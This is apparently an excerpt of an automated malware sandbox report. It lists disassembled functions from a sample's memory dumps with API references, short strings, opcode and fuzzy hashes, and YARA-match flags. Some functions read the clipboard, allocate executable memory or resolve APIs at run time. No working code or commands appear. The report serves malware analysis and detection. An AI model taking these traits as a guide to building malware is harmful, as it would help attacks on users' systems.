Uniqueness Score: -1.00%

Function 00439580 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,00000000), ref: 00439617

Strings

f543, xrefs: 004395D8

Memory Dump Source

Source File: 00000000.00000002.1924269156.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1924269156.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2FjvjcayaH.jbxd

Similarity

API ID: AllocateHeap
String ID: f543
API String ID: 1279760036-424919641
Opcode ID: fb90c4881631728a67103a90e4af625c91e24478a3ae189eab592f5653f933f2
Instruction ID: bcaec8aad2e54c7bb86e5c8c35838375d44d37fa2ceccc352b8ebc86a0d96e6b
Opcode Fuzzy Hash: fb90c4881631728a67103a90e4af625c91e24478a3ae189eab592f5653f933f2
Instruction Fuzzy Hash: 8A1109741083019FE708CF14C4A476BBBA2EBD5728F24895DE4A507691C7BAD919CB86

Uniqueness

Uniqueness Score: -1.00%

Function 00433D05 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 25COMMON

Download Yara Rule

APIs

GetVolumeInformationW.KERNELBASE(?,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 00433D3A

Strings

\, xrefs: 00433D05

Memory Dump Source

Source File: 00000000.00000002.1924269156.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1924269156.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2FjvjcayaH.jbxd

Similarity

API ID: InformationVolume
String ID: \
API String ID: 2039140958-2967466578
Opcode ID: 97d75a674a5be829cde8a03888e8111a6af89568cd531833de46cd4d18545e80
Instruction ID: 4293fc51c427d059e8a1900740c0d841a4927f035155755a6a86f4fc830b078c
Opcode Fuzzy Hash: 97d75a674a5be829cde8a03888e8111a6af89568cd531833de46cd4d18545e80
Instruction Fuzzy Hash: 7FE04F75285701BBF328CF10ED23F2A32A59B45B05F20442DB306EA1D1D7B4B915CA6D

Uniqueness

Uniqueness Score: -1.00%

Function 0041DE00 Relevance: 3.2, APIs: 2, Instructions: 215COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000000E,00000000,00000000,?), ref: 0041DF06
RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000000E,00000000,?,?), ref: 0041DF31

Memory Dump Source

Source File: 00000000.00000002.1924269156.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1924269156.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2FjvjcayaH.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID:
API String ID: 237503144-0
Opcode ID: 4429e528902b6959771bdd2832947410f763d0ee0b9aaf0d96c237b5a8ace8fb
Instruction ID: 7cd1955bb7ff4877b61add733c5008b9238defc5a30e4e77b50cb4d3de39835c
Opcode Fuzzy Hash: 4429e528902b6959771bdd2832947410f763d0ee0b9aaf0d96c237b5a8ace8fb
Instruction Fuzzy Hash: 21619D756083518FE324CF15C890BABB7E1EFCA318F014A1DE8D95B281D7789A46CB97

Uniqueness

Uniqueness Score: -1.00%

Function 0042DFB8 Relevance: 3.1, APIs: 2, Instructions: 123COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL ref: 0042E066
GetSystemMetrics.USER32 ref: 0042E077

Memory Dump Source

Source File: 00000000.00000002.1924269156.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1924269156.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2FjvjcayaH.jbxd

Similarity

API ID: CallbackDispatcherMetricsSystemUser
String ID:
API String ID: 365337688-0
Opcode ID: a910ae7a2649babda8153f224d949615ec8b62e997d32fa7a6b3b09d989dad0e
Instruction ID: ec370dcdc0dee2e7242882cc56310c6ee9e1b245d348888234485e317814ae48
Opcode Fuzzy Hash: a910ae7a2649babda8153f224d949615ec8b62e997d32fa7a6b3b09d989dad0e
Instruction Fuzzy Hash: 0A515DB4A10B009FD364DF2DD981A26BBF5FB49704B10492DE98AC7B60D631F845CB96

Uniqueness

Uniqueness Score: -1.00%

Function 01BB0E0F Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(00000400,?,?,01BB0223,?,?), ref: 01BB0E19
SetErrorMode.KERNELBASE(00000000,?,?,01BB0223,?,?), ref: 01BB0E1E

Memory Dump Source

Source File: 00000000.00000002.1925035905.0000000001BB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1bb0000_2FjvjcayaH.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: 0732bab9e14ca42603bc186ad5c7af8b1446bb867bc7d77073fa5ac40de5f841
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: 68D0123154512877D7003A94DC09BDE7F1CDF09B62F008051FB0DD9480C7B0954046E5

Uniqueness

Uniqueness Score: -1.00%

Function 004394EC Relevance: 1.5, APIs: 1, Instructions: 38memoryCOMMON

Download Yara Rule

APIs

RtlReAllocateHeap.NTDLL(00000000,00000000), ref: 00439575

Memory Dump Source

Source File: 00000000.00000002.1924269156.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1924269156.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2FjvjcayaH.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: bf3e3f96053bca1849cd9bffeedf92de85d467ab460f6b04e012a5cbc12d61f1
Instruction ID: 1d8b2ebf96d1ba174666c76c8533ac1a669530b6b8cb3b7a98fa5c82265e6ac1
Opcode Fuzzy Hash: bf3e3f96053bca1849cd9bffeedf92de85d467ab460f6b04e012a5cbc12d61f1
Instruction Fuzzy Hash: 7801D7701083409FE318CF10D464B6FFBE1EBC5728F209A1DE4A91B681C3B9D959CB8A

Uniqueness

Uniqueness Score: -1.00%

Function 0041860C Relevance: 1.5, APIs: 1, Instructions: 33COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,?,00000000,?,?), ref: 00418638

Memory Dump Source

Source File: 00000000.00000002.1924269156.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1924269156.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2FjvjcayaH.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID:
API String ID: 237503144-0
Opcode ID: 8fbd10a75e567c23622f6f1f1af2b8b55c0af1b8ad70b396d9a66fe143293182
Instruction ID: eb8c1c7914f9d0c13229cf9ff11979a1d61f9c5fd9cbf3551faf471138ca6978
Opcode Fuzzy Hash: 8fbd10a75e567c23622f6f1f1af2b8b55c0af1b8ad70b396d9a66fe143293182
Instruction Fuzzy Hash: 1CF02EBA900200AFDA20DF25CC05E2337A8EB85324B00882DF26BC3291EB30E410DB04

Uniqueness

Uniqueness Score: -1.00%

Function 01C1F2A5 Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 01C1F2F6

Memory Dump Source

Source File: 00000000.00000002.1925141876.0000000001C1E000.00000040.00000020.00020000.00000000.sdmp, Offset: 01C1E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1c1e000_2FjvjcayaH.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: b4195d19bb16a5fed6feb4e778004139c8c0e86ca89e201777de7150907f7f56
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 54112B79A40208EFDB01DF98C985E98BBF5AF08751F058094F9489B361D371EA50EF80

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0042D8F0 Relevance: 21.2, APIs: 6, Strings: 6, Instructions: 155clipboardCOMMON

Download Yara Rule

APIs

GetWindowInfo.USER32 ref: 0042D94C
OpenClipboard.USER32 ref: 0042D95E
GetClipboardData.USER32 ref: 0042D97D
CloseClipboard.USER32 ref: 0042DAAF

Strings

n, xrefs: 0042DA01
c, xrefs: 0042D9E5
a, xrefs: 0042D9F5
l, xrefs: 0042DA09
b, xrefs: 0042D9ED
c, xrefs: 0042DA05

Memory Dump Source

Source File: 00000000.00000002.1924269156.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1924269156.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2FjvjcayaH.jbxd

Similarity

API ID: Clipboard$CloseDataInfoOpenWindow
String ID: a$b$c$c$l$n
API String ID: 2278096442-2118919457
Opcode ID: 64775b5eaf4b6f3b9d3a5648747dfa61d183d83a94ea54748d631ebe41212b84
Instruction ID: f32526a2b7493747e302e038e132543e99afde457dca7fc2a9710eba875402e9
Opcode Fuzzy Hash: 64775b5eaf4b6f3b9d3a5648747dfa61d183d83a94ea54748d631ebe41212b84
Instruction Fuzzy Hash: 26517EB0908B80CFC720DF38D485A16BBF1AB15314F148A6DE8D68B796D739E446CB66

Uniqueness

Uniqueness Score: -1.00%

Function 01BC591D Relevance: 9.2, APIs: 4, Strings: 1, Instructions: 488COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,?,00000000,00000000,?), ref: 01BC595F
RtlExpandEnvironmentStrings.NTDLL(00000000,?,?,00000000,?,?), ref: 01BC5995
RtlExpandEnvironmentStrings.NTDLL(00000000,2F8B2D9A,?,00000000,00000000,?), ref: 01BC5CBF
RtlExpandEnvironmentStrings.NTDLL(00000000,2F8B2D9A,?,00000000,?,?), ref: 01BC5D04

Strings

VSB, xrefs: 01BC5B25

Memory Dump Source

Source File: 00000000.00000002.1925035905.0000000001BB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1bb0000_2FjvjcayaH.jbxd

Yara matches

Similarity

API ID: EnvironmentExpandStrings
String ID: VSB
API String ID: 237503144-2654250299
Opcode ID: 42af359a222c5161f70fb859cd19a903b14d8ab4fd0dfb036164610f8498505b
Instruction ID: 417e84e39657f5990d9ddfd1946afd9b7753352a5655acf4589d13fdab5e61bb
Opcode Fuzzy Hash: 42af359a222c5161f70fb859cd19a903b14d8ab4fd0dfb036164610f8498505b
Instruction Fuzzy Hash: 74F13BB5600B01AFD724CF29C856B63BBF5FF49314F14865DE8AA8B790E371B4118B91

Uniqueness

Uniqueness Score: -1.00%

Function 00426097 Relevance: 7.1, Strings: 5, Instructions: 837COMMON

Download Yara Rule

Strings

MVVS, xrefs: 00426AE5
A^Y[, xrefs: 00426AF3
kJMO, xrefs: 00426BE0
UUC\, xrefs: 00426AFA
7452, xrefs: 0042672B

Memory Dump Source

Source File: 00000000.00000002.1924269156.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1924269156.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2FjvjcayaH.jbxd

Similarity

API ID:
String ID: 7452$A^Y[$MVVS$UUC\$kJMO
API String ID: 0-3157732848
Opcode ID: b5052e699182a1a0a308292b471bdefcab18d731424f3935f2db044417b9ce16
Instruction ID: 855735e6d1ad8dab1ee178d7f2696252d8d8baabb8e7f5f75f29c0cf4dda7a31
Opcode Fuzzy Hash: b5052e699182a1a0a308292b471bdefcab18d731424f3935f2db044417b9ce16
Instruction Fuzzy Hash: 2B52BE70204B918BD339CF29D094767BBE1BF56304F944A6EC4E78BB91C779A40ACB58

Uniqueness

Uniqueness Score: -1.00%

Function 01BD62FE Relevance: 7.1, Strings: 5, Instructions: 837COMMON

Download Yara Rule

Strings

MVVS, xrefs: 01BD6D4C
7452, xrefs: 01BD6992
kJMO, xrefs: 01BD6E47
A^Y[, xrefs: 01BD6D5A
UUC\, xrefs: 01BD6D61

Memory Dump Source

Source File: 00000000.00000002.1925035905.0000000001BB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1bb0000_2FjvjcayaH.jbxd

Yara matches

Similarity

API ID:
String ID: 7452$A^Y[$MVVS$UUC\$kJMO
API String ID: 0-3157732848
Opcode ID: 08fb9053458d0069092ab075ac869d68a8945f95c6ad2078fbf6478a2e09a0e2
Instruction ID: c7281f8e51b178f7c374a016c928be917d5060d80c573ff1ee2056d73c810494
Opcode Fuzzy Hash: 08fb9053458d0069092ab075ac869d68a8945f95c6ad2078fbf6478a2e09a0e2
Instruction Fuzzy Hash: F452BC70504B418BE33DCF29C094766BBE2FF56304F544AADC5E78BA92E379A40ACB54

Uniqueness

Uniqueness Score: -1.00%

Function 01BB4937 Relevance: 5.5, Strings: 4, Instructions: 506COMMON

Download Yara Rule

Strings

), xrefs: 01BB49C5
IEND, xrefs: 01BB4E66
IHDR, xrefs: 01BB4D7D
IDAT, xrefs: 01BB4DEE

Memory Dump Source

Source File: 00000000.00000002.1925035905.0000000001BB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1bb0000_2FjvjcayaH.jbxd

Yara matches

Similarity

API ID:
String ID: )$IDAT$IEND$IHDR
API String ID: 0-3181356877
Opcode ID: 3511b082d5560558510c94d3efdee04cf19d2c1898fd965802b973fdfc2f06ca
Instruction ID: 76681407b805e3d7cf6833ec9d66db6025f49c8a5705faa5a332ceee0164d520
Opcode Fuzzy Hash: 3511b082d5560558510c94d3efdee04cf19d2c1898fd965802b973fdfc2f06ca
Instruction Fuzzy Hash: 7F121771A043459FDB18CF28DC907AA7BE1FF95300F0485ADE9869B392D3B9D905CB92

Uniqueness

Uniqueness Score: -1.00%

Function 01BCCEC7 Relevance: 4.1, Strings: 3, Instructions: 328COMMON

Download Yara Rule

Strings

7q9w, xrefs: 01BCCEE5
tu, xrefs: 01BCCEED
m!s, xrefs: 01BCCF2D

Memory Dump Source

Source File: 00000000.00000002.1925035905.0000000001BB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1bb0000_2FjvjcayaH.jbxd

Yara matches

Similarity

API ID:
String ID: m!s$7q9w$tu
API String ID: 0-1328737773
Opcode ID: 630394122b1b40b6e144354b10afeacad49fa940cd3a6ea08509c0a48de16aad
Instruction ID: 7dac85f3e9154b2ee77554108d04d8cfdca8fab24a69929de4482c0e142b8c4d
Opcode Fuzzy Hash: 630394122b1b40b6e144354b10afeacad49fa940cd3a6ea08509c0a48de16aad
Instruction Fuzzy Hash: A39114B55042028BDB18EF18C891B7BB7F1FF95724F184A6CE8958B281E335D905C7D6

Uniqueness

Uniqueness Score: -1.00%

Function 01BB092B Relevance: 3.8, Strings: 3, Instructions: 90COMMON

Download Yara Rule

Strings

GetProcAddress., xrefs: 01BB09DC, 01BB09DF, 01BB09E4
., xrefs: 01BB095F
l, xrefs: 01BB0966

Memory Dump Source

Source File: 00000000.00000002.1925035905.0000000001BB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1bb0000_2FjvjcayaH.jbxd

Yara matches

Similarity

API ID:
String ID: .$GetProcAddress.$l
API String ID: 0-2784972518
Opcode ID: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction ID: 36c7178061d7490f70f01cca153ded09f95344b252e0689faaa8dc874e584ede
Opcode Fuzzy Hash: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction Fuzzy Hash: 5E318DB6900609CFDB14DF99C880AEEBBF5FF08324F14418AE841A7750D7B1EA45CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 01BB55DB Relevance: 3.3, Strings: 2, Instructions: 800COMMON

Download Yara Rule

Strings

8, xrefs: 01BB5EE2
0, xrefs: 01BB5EEA

Memory Dump Source

Source File: 00000000.00000002.1925035905.0000000001BB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1bb0000_2FjvjcayaH.jbxd

Yara matches

Similarity

API ID:
String ID: 0$8
API String ID: 0-46163386
Opcode ID: c28052362693d2ec878eb2e9e4053acdb697fe5a00c1b3c7cf0b2954dfd04b5c
Instruction ID: d736c5cdfdd375638112d15212191112f274579af41197e9a939df88ad21f8d7
Opcode Fuzzy Hash: c28052362693d2ec878eb2e9e4053acdb697fe5a00c1b3c7cf0b2954dfd04b5c
Instruction Fuzzy Hash: 6B727A716083409FDB29CF18C884BAABBE1EF84314F08895DF9998B791D7B1D945CB93

Uniqueness

Uniqueness Score: -1.00%

Function 00405567 Relevance: 3.0, Strings: 2, Instructions: 510COMMON

Download Yara Rule

Strings

8, xrefs: 00405C7B
0, xrefs: 00405C83

Memory Dump Source

Source File: 00000000.00000002.1924269156.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1924269156.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2FjvjcayaH.jbxd

Similarity

API ID:
String ID: 0$8
API String ID: 0-46163386
Opcode ID: f72422da4545a53147ba4bcae673fa22cfdc217a8e972246317f84f25e8baf34
Instruction ID: f7f0119f1880cbbeb85be2149024bdb2ea19f96f545e0beea172c8d0a898f24a
Opcode Fuzzy Hash: f72422da4545a53147ba4bcae673fa22cfdc217a8e972246317f84f25e8baf34
Instruction Fuzzy Hash: 02222271208740AFDB148F18C840B6BBBE2EF88314F18892EF8899B391D375D954CF96

Uniqueness

Uniqueness Score: -1.00%

Function 0043B9D0 Relevance: 2.9, Strings: 2, Instructions: 360COMMON

Download Yara Rule

Strings

R-,T, xrefs: 0043BB70
R-,T, xrefs: 0043BA70

Memory Dump Source

Source File: 00000000.00000002.1924269156.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1924269156.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2FjvjcayaH.jbxd

Similarity

API ID:
String ID: R-,T$R-,T
API String ID: 0-2000385741
Opcode ID: 8bda64adc4377499ba8cb9d410f9f0a48d81d87449f887aa99981e7c21b36955
Instruction ID: 8a29a55053717aff0ea9d03566f8ae78156dab941fa58883738f942dff897c1f
Opcode Fuzzy Hash: 8bda64adc4377499ba8cb9d410f9f0a48d81d87449f887aa99981e7c21b36955
Instruction Fuzzy Hash: B9C10172A043128BC725CF18C490B6BB7A1FF89314F19966DE9A69B351C738ED04CBD6

Uniqueness

Uniqueness Score: -1.00%

Function 01BEBC37 Relevance: 2.9, Strings: 2, Instructions: 360COMMON

Download Yara Rule

Strings

R-,T, xrefs: 01BEBDD7
R-,T, xrefs: 01BEBCD7

Memory Dump Source

Source File: 00000000.00000002.1925035905.0000000001BB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1bb0000_2FjvjcayaH.jbxd

Yara matches

Similarity

API ID:
String ID: R-,T$R-,T
API String ID: 0-2000385741
Opcode ID: cd1c842c8cb882f8655696e56ea315231ebb5dd9269e9338f9166ab2116c86d1
Instruction ID: dfb2cc909a2cec428743a406636d3ea5f4438e4f822bb958719a4c0bf0c0f50c
Opcode Fuzzy Hash: cd1c842c8cb882f8655696e56ea315231ebb5dd9269e9338f9166ab2116c86d1
Instruction Fuzzy Hash: F0C126726043528BC719CF18C4D0A6EBBE1FF89314F198AACE9A59B351C731D954CBD2

Uniqueness

Uniqueness Score: -1.00%

Function 0040581F Relevance: 2.8, Strings: 2, Instructions: 267COMMON

Download Yara Rule

Strings

8, xrefs: 00405C7B
0, xrefs: 00405C83

Memory Dump Source

Source File: 00000000.00000002.1924269156.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1924269156.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2FjvjcayaH.jbxd

Similarity

API ID:
String ID: 0$8
API String ID: 0-46163386
Opcode ID: 570d64d0102431681fc9c2953f0e3e491529824ae676a0b8b950b5723fab437e
Instruction ID: bdea24ff9dfb5e0cd0db60fba46b67bbb96c489911e557cb46ccc3a4af15eb87
Opcode Fuzzy Hash: 570d64d0102431681fc9c2953f0e3e491529824ae676a0b8b950b5723fab437e
Instruction Fuzzy Hash: D0B12631209380AFCB21CF58C880B5FBBE1AF99314F08885EF98597392D675D854DBA7

Uniqueness

Uniqueness Score: -1.00%

Function 00405B18 Relevance: 2.7, Strings: 2, Instructions: 231COMMON

Download Yara Rule

Strings

8, xrefs: 00405C7B
0, xrefs: 00405C83

Memory Dump Source

Source File: 00000000.00000002.1924269156.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1924269156.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2FjvjcayaH.jbxd

Similarity

API ID:
String ID: 0$8
API String ID: 0-46163386
Opcode ID: 74347a645ffaf85fd77ae73b23a4eccb862ef996c88cbf721dd42e1b28c782df
Instruction ID: 37c8e6d2c4d31b8ff407cb87492de83e2db98608a9e4700acb08c765a7b3870e
Opcode Fuzzy Hash: 74347a645ffaf85fd77ae73b23a4eccb862ef996c88cbf721dd42e1b28c782df
Instruction Fuzzy Hash: 64A135316083809FD725CF68D880B6FBBE1EF99350F04882EFA8997391D675D914CB96

Uniqueness

Uniqueness Score: -1.00%

Function 01BCB247 Relevance: 2.6, Strings: 2, Instructions: 130COMMON

Download Yara Rule

Strings

|)t+, xrefs: 01BCB266
!, xrefs: 01BCB27A

Memory Dump Source

Source File: 00000000.00000002.1925035905.0000000001BB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1bb0000_2FjvjcayaH.jbxd

Yara matches

Similarity

API ID:
String ID: !$|)t+
API String ID: 0-1543151180
Opcode ID: a01c931c2f573e3a0e1da8e8599f919eb061fd7c53aebc2c304cd03effb064b8
Instruction ID: 9bcbf2d89d352b5e24ee60f568329e2c924190e4cd9f4e85b3d4b6fe44ec4df9
Opcode Fuzzy Hash: a01c931c2f573e3a0e1da8e8599f919eb061fd7c53aebc2c304cd03effb064b8
Instruction Fuzzy Hash: DB419BB15083109BC7188F18C8A172BB7F1FFC6769F049A5CE8E29B280E774D505CB96

Uniqueness

Uniqueness Score: -1.00%

Function 004365C0 Relevance: 2.0, Strings: 1, Instructions: 700COMMON

Download Yara Rule

Strings

f543, xrefs: 00436BD8

Memory Dump Source

Source File: 00000000.00000002.1924269156.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1924269156.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2FjvjcayaH.jbxd

Similarity

API ID:
String ID: f543
API String ID: 0-424919641
Opcode ID: e192afb29d6055ff49e6e267cdef2e5d24fa9d113e7b78e9b55b02cdffe59633
Instruction ID: a27fba163ec8ca6502e179a43430a23e18181e16a5da658c1e63ab54147eeb45
Opcode Fuzzy Hash: e192afb29d6055ff49e6e267cdef2e5d24fa9d113e7b78e9b55b02cdffe59633
Instruction Fuzzy Hash: 04327B742083419FD714CF24C494B2BBBE2BBC9318F65DA1EE8958B391C778D805CB96

Uniqueness

Uniqueness Score: -1.00%

Function 01BE6827 Relevance: 2.0, Strings: 1, Instructions: 700COMMON

Download Yara Rule

Strings

f543, xrefs: 01BE6E3F

Memory Dump Source

Source File: 00000000.00000002.1925035905.0000000001BB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1bb0000_2FjvjcayaH.jbxd

Yara matches

Similarity

API ID:
String ID: f543
API String ID: 0-424919641
Opcode ID: ee1e641224ab94123951b88dafefde2f31790dbb0f3442288f09851e838e1533
Instruction ID: b9a0f8fe5a02e3f1c54a28407356e1df7755f4c44fb485b4ac863f12ce2f6abf
Opcode Fuzzy Hash: ee1e641224ab94123951b88dafefde2f31790dbb0f3442288f09851e838e1533
Instruction Fuzzy Hash: CB329B746083418FD718CF28C494B2ABBE2FFD9318F588A6CE9958B391D775D805CB92

Uniqueness

Uniqueness Score: -1.00%

Function 004261D5 Relevance: 1.7, Strings: 1, Instructions: 432COMMON

Download Yara Rule

Strings

7452, xrefs: 0042672B

Memory Dump Source

Source File: 00000000.00000002.1924269156.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1924269156.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2FjvjcayaH.jbxd

Similarity

API ID:
String ID: 7452
API String ID: 0-87867774
Opcode ID: 54138c22c7979f72702bb9a08b355e5a839a7628d7f0a1cc823a813397b31fdc
Instruction ID: 9183c8cb2bdce41f8d6db81880cd269f3f93fb1448a1f7e838d0594f66b23865
Opcode Fuzzy Hash: 54138c22c7979f72702bb9a08b355e5a839a7628d7f0a1cc823a813397b31fdc
Instruction Fuzzy Hash: C7E16A70604B908BD33ACF39D0943A7BBE1BF56304F954A6EC4E74B791C739A4068B48

Uniqueness

Uniqueness Score: -1.00%

Function 01BD643C Relevance: 1.7, Strings: 1, Instructions: 432COMMON

Download Yara Rule

Strings

7452, xrefs: 01BD6992

Memory Dump Source

Source File: 00000000.00000002.1925035905.0000000001BB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1bb0000_2FjvjcayaH.jbxd

Yara matches

Similarity

API ID:
String ID: 7452
API String ID: 0-87867774
Opcode ID: 54138c22c7979f72702bb9a08b355e5a839a7628d7f0a1cc823a813397b31fdc
Instruction ID: df1232a82ef9dd54791037fe0e398ee7c1904f932cae0d6810112b222b21f7a6
Opcode Fuzzy Hash: 54138c22c7979f72702bb9a08b355e5a839a7628d7f0a1cc823a813397b31fdc
Instruction Fuzzy Hash: 10E169B0504B818BE33ECF39C0A47A6BBE1BF56304F544AAEC5E74B691D739A509CB41

Uniqueness

Uniqueness Score: -1.00%

Function 00426148 Relevance: 1.7, Strings: 1, Instructions: 429COMMON

Download Yara Rule

Strings

7452, xrefs: 0042672B

Memory Dump Source

Source File: 00000000.00000002.1924269156.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1924269156.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2FjvjcayaH.jbxd

Similarity

API ID:
String ID: 7452
API String ID: 0-87867774
Opcode ID: 1dea606280cec810fd0385baed8d9e9f5f119faaff7c1b778a8d69061cf5cfe0
Instruction ID: 0f5e2fea7ca9d0fcb5471046c57c7772b20413f2ee2d671d3732f2d6399003e3
Opcode Fuzzy Hash: 1dea606280cec810fd0385baed8d9e9f5f119faaff7c1b778a8d69061cf5cfe0
Instruction Fuzzy Hash: E8E16970604B918BD329CF39D0A43A7BBE1BB56304F954A6EC4E74B691C779A409CB48

Uniqueness

Uniqueness Score: -1.00%

Function 01BD63AF Relevance: 1.7, Strings: 1, Instructions: 429COMMON

Download Yara Rule

Strings

7452, xrefs: 01BD6992

Memory Dump Source

Source File: 00000000.00000002.1925035905.0000000001BB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1bb0000_2FjvjcayaH.jbxd

Yara matches

Similarity

API ID:
String ID: 7452
API String ID: 0-87867774
Opcode ID: 1dea606280cec810fd0385baed8d9e9f5f119faaff7c1b778a8d69061cf5cfe0
